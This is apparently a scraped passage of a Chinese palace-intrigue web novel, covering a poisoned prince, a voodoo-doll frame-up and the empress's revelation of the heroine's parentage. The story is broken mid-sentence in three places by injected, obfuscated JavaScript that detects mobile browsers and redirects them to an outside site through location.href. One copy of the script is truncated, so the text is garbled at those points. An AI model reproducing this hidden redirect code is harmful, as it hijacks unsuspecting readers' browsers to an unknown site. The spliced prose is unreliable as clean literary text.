胥毓还没答话,殿外突然一阵喧哗,只见四皇子胥文璟穿着靛蓝色锦袍快步走了进来,他那袍子上用银线绣着流云,跑动时倒真像云气翻涌。 他手里捧着两个木匣,脸上红扑扑的,笑道:“皇姐生辰快乐!今日带来的可不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16150151|177870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 止是弟弟的心意哦,我还带来了云溪特意给你备下的......” 但话未说完,他突然脸色一白,手里的木匣“啪”地摔在地上,锦缎衬里的匣子摔开,里面精心挑选的礼物滚落出来,碎成一团。随后他踉跄着后退两步,突然身子一软,猛地喷出一口鲜血,竟直直栽倒在地! “文璟!”胥毓只觉心头一紧,顾不上裙摆拖地,忙扑过去扶住他。 少年的身子在她怀里不住抽搐,嘴角的血珠滴在她正红的裙裾上,晕开一片暗褐,倒比那百鸟朝凤的金线更为刺目。 殿内霎时静得落针可闻,乐师的琴弦还绷着,却再没人敢动一下。 皇后猛地站起身,九凤步摇上的珠串剧烈晃动,撞出一片慌乱的脆响:“传太医!快传太医!” 胥毓指尖搭在胥文璟的颈侧,那脉搏细得像游丝,情况看起来极为凶险。 她抬头时,正撞见胥嘉站在人群后,嘴角那点得意还没来得及收,被她看在眼里,倒像吞了只苍蝇般,猛地别过脸去。 “让开!都让开!”她厉声喝道,声音里的威严让围观的嫔妃们不自觉地后退。 池畔的凉风穿堂而过,吹散了殿内浓郁的熏香。 “褚奎!”胥毓扬声唤道,暗影里立刻闪出个精瘦身影,“送去未央宫,太医马上就到!” 他抱起胥文璟时,少年的身子轻得像片柳叶,血珠从嘴角滴落,砸在金砖地上,“嗒嗒”声在死寂的殿里格外清晰。 未央宫的偏殿里,胥文璟被安置在软榻上,榻上铺着皇后常用的孔雀蓝锦褥,少年惨白的脸衬在上面,宛若宣纸染了层淡墨。 窗外的老梅树落尽了叶,枝桠歪歪扭扭地伸着,影子投在墙上,活像只张牙舞爪的鬼。 “这到底是怎么了?”皇帝匆匆赶来,龙袍下摆沾着些泥土,想来是从御花园过来的,“文璟怎么样?” 胥毓跪坐在榻边,用帕子轻轻擦拭胥文璟额头的冷汗,就在这时,殿外突然传来一阵骚动。 “皇上!娘娘!”一个绿衣宫女跌跌撞撞跑了进来,手里捧着一个布偶,"奴婢在荣安公主房里发现了这个!" 殿内霎时鸦雀无声。 这宫女胥毓认识,是她院子里一个洒扫的小宫女,她缓缓转头,看见胥嘉站在人群后方,唇角勾起一抹几不可察的冷笑。 皇后接过布偶,目光在那排朱砂小字上停留片刻:“这是……” “巫蛊之术!”那宫女骤然高呼,声音悲戚,就好像咒杀的不是胥文璟,而是她家中老父亲似的,“荣安公主这是要咒杀四皇子啊!” 四下里顿时窃窃私语,几个妃子聚在一起交头接耳。 “四皇子眼下突然发作,莫不就是遭了荣安公主的诅咒吧?” “子不语怪力乱神,这可不兴胡说……” 又有一些围观的命妇交头接耳。 “荣安看起来乖巧懂事,没想到竟然连一母同胞的弟弟都下得去手,也不知道图什么?” “山野长大的,谁晓得心里头憋着些什么事儿……” 胥毓垂眸,长睫在眼下投下一片阴影,心中暗道:她等的就是这一刻! “母后明鉴!”她突然抬头,眼中泪光盈盈,“这根本不是巫蛊之术!” “毓儿别急。”皇后好歹也在宫里呆了这么多年,只一眼便看出了其中的关窍所在,所以不消胥毓多说,便抬手制止,然后转向那宫女,“你识字吗?” 宫女一愣:“奴、奴婢不识字......” 芳吟立刻上前:“回娘娘,这不过是公主的伴睡的一个玩偶,公主一直带在身边祈福用的。” 皇后将布偶递给身旁的老嬷嬷:“念念。” “平安康泰......”老嬷嬷眯着眼辨认,“确实是祈福的字样。” 胥毓的眼泪恰到好处地滚落,她声音哽咽,“这是儿臣仿照幼时一位婆婆送的娃娃做的.....当年流落民间,只有她待儿臣好......儿臣初回皇宫有些不习惯,睡不着,遂制了这布偶陪着儿臣入睡……” 皇帝面色稍霁,正要开口,谁知这时太医匆匆赶到。 再说这老太医刚搭住脉,眉头便拧成了个疙瘩,半天,才颤巍巍地松开手,对着皇帝摇了摇头:“皇上,四皇子这是中毒之症呀......” “什么毒?”皇后的声音都发了抖,手里的帕子被攥得皱成一团。 “是七星海棠混着断肠草。”老太医的胡须抖个不停,“寻常人服下只会昏迷,可四皇子体质特殊,偏对七星海棠过敏......” 人群后的胥嘉闻言,脸色“唰”地白了,比软榻上的胥文璟还要难看。 她原是想着,让四皇子昏迷半日,正好坐实胥毓的巫蛊之罪,却忘了胥文璟打小就对那海棠花过敏,当年在御花园,不过闻了朵新开的海棠,便咳喘了半日。 “还有救吗?”皇帝的声音沉得像块石头。 老太医闭了闭眼,终是摇了头:“老臣......恐怕无能为力。” 殿内顿时响起一片啜泣声,胥弦月捂着脸哭得肩膀直抖,胥昭云也红了眼圈。胥嘉假意用帕子抹着眼,袖中的手却死死攥着,指甲几乎嵌进肉里。 胥文璟确实不能留,但她从没想过在此时要了他的命! 而就在这生死攸关之际,胥毓突然站起身,说道:“我来试试!” 47. 身份终于暴露 众人皆是一愣,连皇帝都怔住了。 “毓儿!”皇后厉声喝止,“这不是儿戏!” 胥毓却不理会,只对芳吟说道:“取我的药箱来。” 芳吟应声去了,不多时捧来个紫檀木药箱,打开时,里面的瓷瓶、银针码得整整齐齐,透着股清苦的药香。 胥毓取出一根银针,在烛火上燎了燎,针尖顿时泛出点微红。 她俯身时,鬓边的金凤步摇轻轻晃动,珠串扫过胥文璟的脸颊,少年的睫毛颤了颤,似有知觉。她手腕微悬,银针稳稳刺入他的人中穴,动作快得像道闪电。 殿外围观的嫔妃们交头接耳,窃窃私语如毒蛇吐信般钻入耳中。 “装模作样!” “四皇子要是有个三长两短她可吃不了兜着走……” “活该,谁让她小小年纪就敢逞能......” “这......”老太医听罢也想要阻止,却见胥文璟的喉结动了动,似要咳嗽,顿时把话咽了回去。 而胥毓恍若未闻,全神贯注地捻动银针,汗水顺着她的鬓角滑落,在下颌凝成晶莹的水珠。 她用的是“鬼门十三针”,每一针都刺在生死大穴上,稍有不慎便会要了胥文璟的命。 胥嘉站在人群最前排,指甲深深掐进掌心。 她明明安排蕊芝将那个写着四皇子生辰八字的巫蛊娃娃塞进了胥毓的柜子里,再收买了一个她宫里的宫女在必要的时候跑出来“揭发”她,可为什么现在会变成个破布娃娃? 眼角余光瞥见太子阴沉的脸,她不由得打了个寒颤。 “嘉儿。”太子不知何时挪到她身侧,声音压得极低,“怎么回事?” 胥嘉强自镇定:“不知太子哥哥此言何意?” 太子眯起眼,目光晦暗地在她脸上扫过。 自从上次侍卫之事后,她二人之间便生了些嫌隙,而此次对付胥毓之事,胥嘉也只表达了由她全权接手,所以他并不知道胥嘉究竟做了些什么事。 不过,此刻见她神色慌乱,估摸着只怕又是要竹篮打水一场空。 殿中央,胥毓已刺到第十二针,胥文璟突然剧烈抽搐起来,嘴角溢出黑血,人群中爆发出一阵惊呼。 “住手!”一位命妇厉声喝道,“你这是要谋害皇子吗?” 胥毓充耳不闻,稳稳落下最后一针。银针入肉的瞬间,胥文璟猛地弓起身子,“哇”地吐出一大口黑血,之后又重重跌回榻上。 “文璟!”胥毓轻唤。 随即又取出个白瓷瓶,倒出三粒药丸,乌黑的药丸泛着油光,隐隐能闻到薄荷的清凉味。她用温水将药丸化开,撬开胥文璟的嘴,一点点喂了进去,药汁顺着少年的嘴角流下,她忙用帕子拭去,帕子上的血迹蹭在他脸上,倒像开了朵小小的红梅。 殿内众人都屏住了呼吸,连风都似停了,只有烛火“噼啪”地跳着,将胥毓的影子投在墙上,忽长忽短,像个不知疲倦的舞者。 约摸过了一炷香的功夫,胥文璟才终于缓缓睁眼,然后虚弱地扯了扯嘴角:“皇姐......我没事......” 老太医忙上前搭脉,片刻后,他猛地瞪大了眼,对着皇帝拱手道:“皇上!脉象......脉象稳了!” 殿内霎时鸦雀无声,方才还冷嘲热讽的嫔妃们个个瞠目结舌,活像被掐住脖子的鹌鹑。 其余众人皆是一喜,胥毓也松了口气,指尖的冷汗顺着指缝滴落,砸在药箱上,发出轻微的声响。 她抬头时,正对上胥嘉怨毒的目光,那目光像淬了毒的针,恨不得将她刺个通透。 胥毓却只淡淡一笑,那笑容在烛火里明明灭灭,像朵开在寒夜里的红梅,艳得惊心动魄。 ……急什么,这出好戏,才刚刚开始呢。 偏殿内的气氛才松泛了些许,众人刚要退出去,殿外忽传“哗啦”一声脆响,像是上好的瓷瓶坠地,紧接着便是一阵猫儿的慌乱惊叫。 “雪团!”胥嘉脸色骤变,提着藕荷色撒花裙摆便往外跑,裙裾扫过紫檀木椅角,带得案上的茶盏轻轻一颤,溅出几滴碧色茶汤。 众人跟着涌到廊下,只见阶前那只通体雪白的波斯猫正疯了似的刨着翻倒的青瓷花盆,黑褐色的泥土混着断碎的花枝撒了一地,沾得它雪白的绒毛上尽是污渍。 猫儿听见人声,警觉地竖起尖耳,琥珀色的眼珠里满是惊惶,嘴里赫然叼着个奇形怪状的布偶。 “放下!”胥嘉厉声喝着,裙摆被石缝勾住也顾不上,扑过去就要抢。 但那猫儿平日里被她娇纵惯了,眼下见主人来抓,不仅不顺从,反倒叼着布偶朝人群窜来。毛茸茸的尾巴扫过廊柱,就在胥嘉的指尖即将触到猫毛的瞬间,猫儿猛地一个急转,布偶从它口中脱落,像片枯叶般打着旋儿,然后不偏不倚滚到了皇后脚边。 一时间,空气仿佛凝滞了。 皇后缓缓弯腰,戴着赤金嵌红宝护甲的指尖拾起布偶,素日里温婉的眉峰渐渐蹙起。她抚过布偶胸口那暗红的字迹,墨迹像是渗进了粗布纹理里,正是四皇子胥文璟的生辰八字。 更骇人的是,那方寸布料上密密麻麻全是针孔,有的地方针脚重叠,布面都已磨得发毛,显然是被人反复扎过的。 “大胆!”皇后猛地将布偶摔在胥嘉面前,九凤朝阳步摇上的珍珠剧烈晃动,碰撞出细碎的脆响,“你还有何话说?!” 胥嘉的脸霎时惨白如纸,她嘴唇哆嗦着,踉跄后退两步,后腰撞在廊柱上,发出沉闷的声响:“这不是我的……这一定是有人陷害……” 她的声音发飘,像是被风吹得随时会散。 “陷害?”皇后冷笑一声,玉指指向远处从窗台上摔落破碎的花盆以及脚边那只白猫问道:“这里哪样不是你胥嘉的东西!你说是陷害,那你倒是说说,究竟是何人会陷害于你?” “我……我……” 这些当然是她的东西,那只巫蛊娃娃也是出自她手,只是出现的地方,怎么会是在她的屋子里呢?这分明是放在胥毓的柜子里的呀! 对!对!是胥毓,一定是她!是她要陷害自己! 她双腿一软,“扑通”跪倒在地,裙摆铺在湿漉漉的青砖上,洇出一片深色:“母后明鉴,这、这一定是……” “够了!”皇帝怒喝着打断了她的话,龙袍的广袖重重一甩,已经无暇再听她辩解,“证据确凿,你还敢狡辩!” 殿内的气氛剑拔弩张。 胥嘉伏在地上,脊背微微发抖,鬓边的珠花随着动作轻轻磕碰着青砖。她眼角的余光瞥见太子站在廊下,忙抬起头,眼中带着哀求,却见对方眼神冰冷,半分相助之意也无。 “太子哥哥……”她颤声唤道,声音里带着哭腔。 太子闭了闭眼,已经能够预想到自己如果保下胥嘉,今日之事再传出去,明日的朝堂之上会有多少朝臣对自己口诛笔伐。 可是,他都保了她这么多次,若是此时放手,从前所做的努力岂非都会付诸东流? 他还指着她那预知之术为自己再行绸缪呢! 所以想了又想,再睁开时,胥阳丹的眸中只剩厉色,他突然转向胥嘉身后,厉声喝道:“蕊芝!还不从实招来!” 胥嘉的贴身宫女“扑通”跪地,脸色白如宣纸,太子朝侍卫使了个眼色,两名身着玄甲的侍卫立刻上前按住她的胳膊,铁钳似的力道让她疼得龇牙。 “说!”太子一脚踹在蕊芝的肩上,靴底的云纹在她青灰色的宫装上留下浅痕,“是谁指使你用巫蛊之术诅咒四皇子的?” 蕊芝痛呼一声,额头上沁出冷汗,她惊恐地看向胥嘉,嘴唇动了动,但还没来得及发出声音,就见太子俯身,声音压得极低:“你那在户部当差的兄长,还有老家院里的爹娘弟妹,可都在你一念之间!想清楚了在说话!” 丫鬟的命算得上什么命?从被指派到胥嘉身边做事的那天,蕊芝就知道自己早晚会有这么一天。 她的主子不是个狠辣的人,所以这么多年她虽然受过惩处责骂,但日子到底是要比大多数的宫人好过。但这些也不过都是建立在主子的安危不受威胁的情况下,倘若遇险,譬如今日这般,她的命也不过如尘埃般,轻飘飘地便湮灭在了这些贵人的一句话里。 蕊芝哪有什么选择的权利呀。 皇城之中,有些时候,连死都被视为恩赐! 所以小宫女浑身剧颤,尽管害怕到不行,也只敢把头重重的磕在地板上,掩盖住自己奔涌而出的泪水:“是、是奴婢一人所为......与郡主无关......奴婢因四皇子责罚过奴婢,怀恨在心,所以才办下了这等蠢事,还望皇上惩处,莫要牵连郡主......” 此话一出,胥嘉如蒙大赦,顿时连连叩首,额头撞在青砖上,发出“咚咚”的声响:“父皇明鉴!儿臣实在不知这贱婢竟敢如此大胆……” “住口!你真当朕老糊涂了?”皇帝怒极反笑,他转向太子,“这就是你一手带出来的好妹妹!” 太子额角青筋突突直跳,知道这样拙劣的办法根本保不住她了,所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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侍卫拖起她时,她忽然挣扎着回头,最后看了一眼廊下的胥毓。 少女一袭艳红宫装站在那里,雨水打湿了她的裙角,衬得肤色愈发雪白,她的唇角微微扬着,眼中的寒光却比冬日的冰棱还要凛冽…… 她不甘心,她绝不会就此罢手的! 风波暂歇,众人垂首敛目地散去,靴底踩过积水,发出“咯吱”的轻响。胥毓独自站在未央宫的廊下,望着暴雨中那些渐行渐远的身影。 芳吟捧着件石青色素面的外袍走上前,轻轻为她披上,指尖触到她微凉的肩头有些担忧:“公主,雨后风凉,仔细着了寒。” “她不会善罢甘休的。”胥毓望着雨幕,声音很轻,却带着不容置疑的笃定,“告诉邰玉轩,胥嘉出宫后,派人盯着她的动向。” 芳吟点头应下,又迟疑着开口,声音压得极低:“那太子殿下……” 胥毓冷笑一声,指尖拂过廊柱,冰凉的触感顺着指尖蔓延上来:“弃车保帅,他倒是果断。” 她转身望向殿内,烛火在窗纸上投下晃动的光影,“不过现在可暂且没功夫管他的事,现在,我该去会会我们的皇后娘娘了……” 雨幕中,未央宫的灯火像颗昏黄的星子,映着胥毓决绝的背影。宫墙深深,琉璃瓦在雨水中泛着冷光,这场无声的博弈,显然还远未到终局。 * 雨后的佛堂里,弥漫着潮湿的檀香气息,混着窗外泥土的腥气,别有一番沉郁。 胥毓跪坐在新换的明黄色蒲团上,眼神描摹着观音像前新换的青瓷净瓶。那瓶身釉色青白,在烛光下泛着温润的光泽,竟与那日被自己无意打翻的那个几乎一模一样。 “你比本宫预想的来得早。”皇后沈青梧捻着手中佛珠,指上的翡翠扳指在烛光下泛着幽幽的绿光,声音里听不出喜怒,“看来是迫不及待想知道真相了。” 胥毓抬眸,只见皇后今日未施粉黛,素色的常服衬得她面色有些苍白,眼角的细纹在跳动的烛火下格外明显。这个总是雍容华贵、仿佛永远不会疲惫的女人,此刻竟显出几分难以言说的憔悴。 “母后答应过的。”胥毓的声音很轻,却字字清晰,像落在青石板上的雨珠,“儿臣已经将胥嘉赶出宫了。” 皇后突然轻笑一声,笑声在空旷的佛堂里荡开:“先说说,你都查到了什么?” 烛花“啪”地爆开一个火星,胥毓垂下眼帘,长长的睫毛在眼下投出一小片阴影,将自己连日来查到的一一说来。 胥季荷那桩被尘封的身世,先皇对她异乎寻常的偏爱,两位皇子为她生出的痴恋,还有那场改变了所有人命运的宫变,字字句句,就像是剥洋葱,露出内里辛辣的真相。 “……所以,我是胥季荷和皇长子胥殊的女儿。”胥毓抬起眼,直视着皇后的眼睛,眸光清澈却带着锋芒,“而您和皇上,都不是我的亲生父母。” 48. 旧事揭秘,彻底黑化 佛堂里的寂静,就像是浸了水的棉絮,密不透风地压在两个人的头上。 窗外的雨不知何时淅淅沥沥的下了起来,打在芭蕉叶上,又顺着琉璃瓦滑下来,串成断断续续的水线,倒比那夜莺的啼叫更添了几分愁绪。那鸟儿不知歇在哪个枝头,一声声啼得凄厉,似哭似泣,倒像是把陈年的委屈都揉碎在了今夜的雨丝里。 皇后指尖的佛珠停了停,末了还是缓缓放下。那串珠子被摩挲得温润,此刻碰撞着发出细碎的响,在这静地里竟显得格外清亮。 她起身走到佛龛前,望着观音像慈眉善目的脸,半晌,才伸出指尖在底座摸索起来。 一卷泛黄的绢帛被取了出来,边角早已磨得发毛,有些地方甚至起了毛边,显见得是被人反复翻看的。皇后展开时,绢帛发出轻微的“簌簌”声,烛光透过薄薄的丝织品,把上面模糊的字迹映得半明半暗。 “八分真,两分假。”她的声音不高,带着些微的沙哑,“先皇爱的从来不是胥季荷,是她的母亲,那位殉情的裕阳王妃……” 烛火猛地摇曳了一下,许是窗外的风钻了进来,皇后的影子被投在墙上,忽大忽小,扭曲如鬼魅。 她迈步坐进一旁的圈椅里,一只手紧紧攥着那只绣着半朵残荷的荷包。青绿色的丝线已经有些褪色,荷叶的边缘磨得发亮,她用指腹一遍遍摩挲着那残缺的花瓣,像是要把什么东西从布纹里挤出来似的。 这荷包是当年在北甸城那间破庙里,她从胥季荷身上解下来的。胥季荷逃得匆忙,带的东西本就不多,留在这世上的遗物,更是少得可怜。 就仿佛那个人从来没活过一般。 窗外的雨渐渐密了,打在窗棂上噼啪作响,倒像是那年冬日,荒芜的破庙里落雪混着哭嚎的声息。 沈青梧只觉心口发沉,宛若被泡在冰水里,连带着指尖都有些发凉。 那年裕阳王战死的消息传到京城,裕阳王妃穿着一身素衣,在王府枯坐了三天,最后竟用一根白绫结束了性命。 独留年幼的胥季荷,像株没了根的草,被先皇接进了宫里。 所有人都以为先皇是为彰显仁德,才将年幼的小侄女接进皇宫,当做亲女儿一样教导,但却只有少数人还记得,当年若非太后阻拦,迎娶裕阳王妃的本该是先皇。 所以留下胥季荷,究竟是私心,还是大义,想必事到如今,就连九泉之下的先皇自己都说不明白了吧。 沈青梧还记得初见胥季荷时,她才十三岁,穿着件月白绫袄,站在御花园的海棠树下喂鹿。 彼时先皇正倚着栏杆看奏折,见她来了,便招她过去,把手里的奏折往她怀里一塞:“荷丫头,替朕看看这字,比你那两个哥哥如何?” 她接过奏折,指尖在“民为邦本”四个字上轻轻点了点,声音脆生生的:“皇上的字如青松立崖,大哥的似春柳扶风,二哥的倒像野藤缠树,各有各的去处罢了。” 先皇笑得胡子都翘起来,指着她对左右说道:“这丫头,年纪不大,端水的功夫倒是不差!” 胥季荷是在宫里长大的,先皇亲自教她骑射,太傅教她经史,连内监们都知道,先皇对她的宠爱,比之两个皇子,仍旧有过之而无不及。 那时宫里都传,先皇或许要破了祖制,让这位裕阳王之女承继大统。 而两位皇子,胥瀮与胥殊,待她也是不同的。 胥殊性子温吞,总爱往她的屋子跑,有时递上一管新磨的墨,有时送来半盒刚出炉的杏仁酥。话不多,只站在窗边看她写字,夕阳把两人的影子拉得老长,像一幅没干透的画。 胥瀮却不同,他总在演武场等她,提着柄长剑说:“荷妹妹,来比一场,赢了我,这柄宝剑就归你!” 她每次都接招,剑光霍霍里,两人的衣袂缠在一处,活像是两只斗红了眼的鸡。 变故是从先皇病笃那年开始的。 太医们把着脉摇头,宫里的香烧得比往日浓了三倍,连廊下的宫灯都换了素纱。 先皇夜里总传胥季荷去养心殿,有时让她念几本书,有时只拉着她的手看,眼神昏昏的,嘴里喃喃着:“像,真像......” 谁都知道,先皇是看她的眉眼像裕阳王妃。 那位早逝的美人,原是先皇放在心尖上的人,当年若不是太后拦着,原是要立为后的。 沈青淑那时还是胥瀮身边的侍读女官,她爱慕胥瀮,总是变着法的想办法留在胥瀮身边。 但胥瀮喜欢胥季荷,沈青淑知道,阖宫上下都知道,沈青梧自然也跟着听了几分风声。 那时,她以为沈青淑会就此放手,毕竟像她们这样的高门贵女,想要怎样的好婚事求不到,何至于非要将自己葬送进那吃人的宫墙。 更何况,胥瀮爱的人还不是她。 可谁知她不仅不死心,竟还谋算出各种各样的毒计,想要将胥季荷在胥瀮心里面的位置取而代之。 于是有一日,沈青梧撞见她在假山后对胥瀮说:“殿下没瞧见吗?皇上把那半块虎符都给胥季荷了,再等下去,这江山只怕也是要跟着她改名换姓!” 胥瀮爱着胥季荷,可较之爱情,在他的心底终究是皇权至上,所以明知沈青淑不怀好意,他依旧默许了这个女人的算计。 “那你说该怎么办?” 沈青淑声音压得极低:“不如做场戏,让皇上瞧瞧,他心里看重的人,私底下其实也并非如面上那般光风霁月……” 那场戏演在重阳宫宴上。 彼时胥季荷刚从先皇寝殿出来,正要往偏殿走,想找胥殊说句话,却被几个太监拦住,推搡着进了一间暖阁。 暖阁之中,胥殊人事不省的昏睡在榻,胥季荷慌忙上前查看,但谁知人刚走到塌边,门就被人撞开。她回头看去,便见胥瀮带着一群人闯进来,火把把屋子照得如同白昼。 “好啊!”胥瀮冷笑,一脚踹翻了桌案,“光天化日,孤男寡女共处一室,当真是把皇家的体面抛在脑后!” 胥季荷攥紧胥殊的手掌:“二哥休要胡说,我与大哥只是......” 但话没说完,就被胥瀮打断:“只是什么?父皇还在病榻上,你们就急着做这苟且之事,是盼着父皇早死吗?” 这话实在是大不敬! 先皇本就气若游丝,听了内监的回报,一口气没上来,指着殿外骂了声“逆子”,便咽了气。 之后胥殊被关在宗人府,不到半月就没了音讯。有人说他是病死的,有人说他是被赐了毒酒,但不论事实究竟如何,都没人敢再提。 毕竟新皇,当今圣上,可不是个宅心仁厚的君主。 而彼时的胥季荷被囚在冷宫里时,才发现自己已经怀了身孕。 “你母亲当时已有三个月身孕。”皇后指尖抚过绢帛上干涸的血迹,“那是胥殊的孩子。胥瀮自以为胥季荷谁都不爱,此番算计,既除了胥殊,又将胥季荷囚在身边。他以为只要手握权力,把人留住,胥季荷就早晚会有爱上他的那天。却不知她其实早就和胥殊两情相悦,只是碍于皇室颜面,一直未曾公开。” 先皇是早知道此事的,所以才会将那半块虎符交给胥季荷。 他清楚自己那两个孩子的性子。 胥殊温润如玉,皇位交给他,必然会是一位仁君。可他太注重感情,江山交给他,他守不住,胥瀮也不会只安心当一个偏居一隅的王爷。 所以在得知了胥殊本也无意皇位,只求在胥瀮登基后,带着胥季荷安居番地的心思,他便将虎符给了胥季荷。 想着有此虎符在手,就算胥瀮日后不顾手足之情,胥殊他们好歹也能有些自保之力。 可是他千算万算,却是没想到胥瀮竟然心急如此,所以即便是手握虎符,胥殊与胥季荷都仍旧没能及时逃脱。 胥毓攥紧了衣袖。 绢帛上是胥季荷的字迹,清秀却又力透纸背,记载着那段不堪回首的往事。 窗外雷声隐隐,仿佛在为那段冤魂鸣不平。 胥毓胸口发闷,忽然明白皇帝看自己时,那复杂眼神的含义,原来他竟是在透过自己,看向另一个永远都不可能得到的女人! “之后呢,又发生了什么?” 皇后望向夜幕,“之后?之后沈青淑,也就是我的姐姐,成为了皇后。” 沈青淑野心勃勃,怎么可能在千番算计之后,将胥瀮枕边人的位置拱手让给胥季荷。 所以胥瀮上位以后,她便借助沈家的势力,一再施压,最后逼得胥瀮不得不立她为后。 那时已是皇后的她,穿着凤袍去看胥季荷。 她对她说:“即便你怀了胥殊的野种,皇上心里面也放不下你,可是怎么办呢?他放不下你,本宫却也容不下你!不过本宫也不是那样心狠手辣的人,非要取你性命不可,所以本宫给你一条活路。三日后,本宫会拖住皇上,到时候有人会来接应你,送你出宫。出宫以后,天高海阔,随你去闯,但只一点,绝不可再出现在皇上的面前!” 沈青淑当然不是真心想要放走胥季荷,她筹谋了这么多年,怎么可能给自己留下这么大的隐患。 她做事,向来是最会斩草除根的。 胥季荷自然也清楚,可也没有拒绝,因为这确实是她唯一的活路了,除此之外,让她留在皇宫和胥瀮那个贱人虚与委蛇,她做不到。 她宁愿去死! 所以三日后的夜里,那个老太监打开了冷宫的门后,胥季荷头也没回的跑了出去。 她穿着一身粗布衣裳,抱着包袱便一股脑的往外跑,所以她没来得及瞧见,老太监的身后,转眼便出现了几个手持长刀的死士。 “沈青淑嫉妒成狂,买通守卫放走你母亲后,又派杀手在半路截杀。”沈青梧突然剧烈咳嗽起来,“她从来没想过要放走她,只是若在皇宫之中,她不大方便动手罢了。” 听到这里,胥毓有些疑惑,“那你呢,娘娘,你为什么会知道这么多,而你,又在其中,扮演着怎样的角色?” 说了这么多,除了是先皇后沈青淑的妹妹,好像……就从来没有提起过她在这桩旧事里的身份。 沈青梧笑了,那笑里带着惋惜,也带着不忿。 “我只是一个无足轻重的人。” 她没有说谎,她确实是一个无足轻重的人。 当年,对于胥季荷这个人,她多数的了解,其实都来自于她的姐姐。 沈青淑和她是一母同胞的双生子,她们相貌相似,可所受到的待遇却是天差地别。 若说沈青淑是皎皎明月,生来就集万千宠爱于一身。 那她沈青梧,就是月亮底下一颗不起眼的小星。虽然碍着身份并没有过得多苦,但星星太多了,她也就从没有得到过任何的偏爱。 她在家中,听得最多的除了父母对姐姐的关爱,便是姐姐对胥季荷的嫉恨。 于是从很小的时候开始,她的心里就对这个从未见过的胥季荷埋下了极大的兴趣。毕竟,能让她姐姐受挫的人,从小到大,她倒还只听说过这么一个。 所以没来由的,尽管还没见过,她就已经暗自喜欢了这个女子好久。 可她没想到,她们的初识会是在那样的情况下。 那天她刚从城外的相国寺祈福回来,坐在马车里,正捻着佛珠闭目养神。忽然车帘被猛地掀开,一个浑身是血的女子跌了进来,身上还带着浓重的血腥味和泥土气。 “救我… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168982|177870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …”那女子抓住她的手,力气大得吓人,指甲几乎要嵌进她的肉里。她的脸被血污遮住,只露出一双眼睛,宛如星辰。 沈青梧认出了她——那是胥季荷。 虽然两人并没有相交,甚至都没有说过一句话,但她曾在宫宴上远远见过几次。这个女子,总是穿着干净的衣裳,眉眼清亮。 可眼前的人,却狼狈得像条丧家之犬。 她求沈青梧救救她。 那时候,她甚至都不知道,眼前的这个女子,其实就是想要害她之人的亲妹妹。 而沈青梧最后确实还是救了她,她把人带回了家,藏在自己的院子里。那院子偏僻,少有人来,她每日亲自送去汤药和吃食。 过了没多久,胥季荷就渐渐好了些,会坐在窗边晒太阳,有时还会跟她说几句话,说御花园的海棠开了,说演武场的草长高了,说她记忆里那些难以忘怀的种种往事…… 沈青梧原以为可以藏她一辈子的,却不想没过多久,胥季荷却突然不告而别。 她走了,她知道了沈青梧的身份,但她走却不是因为恨,而是不想牵连于她。 她留了一封信,说她往南走了,她的孩子快要出生,如无意外,她想带着她的孩子,逃到一个没人认识的地方去。 她想要留下这个胥殊唯一的血脉。 可胥瀮在找她,沈青淑也在找她,整个东陵城密不透风,她想逃,谈何容易? 沈青梧终究是放心不下。 她瞒着家里,换上男装,带着一队人马,一路向南追去。 直至追到北甸城,遇上连日大雪,天地间银白一片,连风都带着刀子似的寒意。她才终于在一间破败的山神庙里,找到了胥季荷。 那庙门早被风雪打烂了,半挂在门框上,吱呀作响。 胥季荷躺在草堆上,身下的血染红了半铺稻草,像雪地里绽开的红梅,触目惊心。 她的脸冻得发青,嘴唇干裂,见了沈青梧,眼睛却猛地亮了一下,像油灯耗尽前最后的光芒。 “青梧……”她抓住沈青梧的手,那手冷得像块冰,“帮我……把孩子取出来……” 她受了太重的伤,小腹上一道刀伤还在渗血,显然是活不成了。 可那孩子已经足月,若是此时剖开肚子,或许还能活。 这是她最后的执念。 她已经没救了,但倘若还有机会,能保下胥殊和她留在这世上唯一的血脉,那也算得上是极好。 可沈青梧死活不肯,她哭得浑身发抖,死死摇头:“不行!我带你去找大夫,一定有办法的!你不能死,你不会死!你怎么能死呢……” 胥季荷却笑了,笑得气若游丝,血沫从嘴角渗出来。 “傻姑娘……别白费力气……就当我求你了……”她的指甲几乎要掐进沈青梧的肉里,“保住这孩子……告诉她……她爹娘……不是故意离开她的……” 直到胥季荷咽了气,那双眼睛还圆睁着,望着庙顶的破洞。 沈青梧瘫坐在地上,眼泪冻在脸上,硬邦邦的。 随行的侍卫低声问道:“二小姐,还要取吗?” 她沉默了许久,久到风雪快把他们淹没,才哑着嗓子说道:“取。” 孩子最后还是被取了出来。 是个女婴,原以为受了这么多罪,定是活不成了,没想到一声啼哭竟响亮得很。那女婴皱巴巴的,像只小猴子,可眉眼间,竟和胥季荷生得一般无二。 沈青梧看着那张脸,到底是没忍心弃她于不顾。 可她也没敢把孩子带回皇城,当年皇城里开的那样盛的荷花,如今却也枯成这样,所以那宫墙里的龌龊,她不想让这孩子再沾上。 她把随行一位懂医术的侍卫,连同孩子一起留在了北甸城,给了他们足够的银钱。 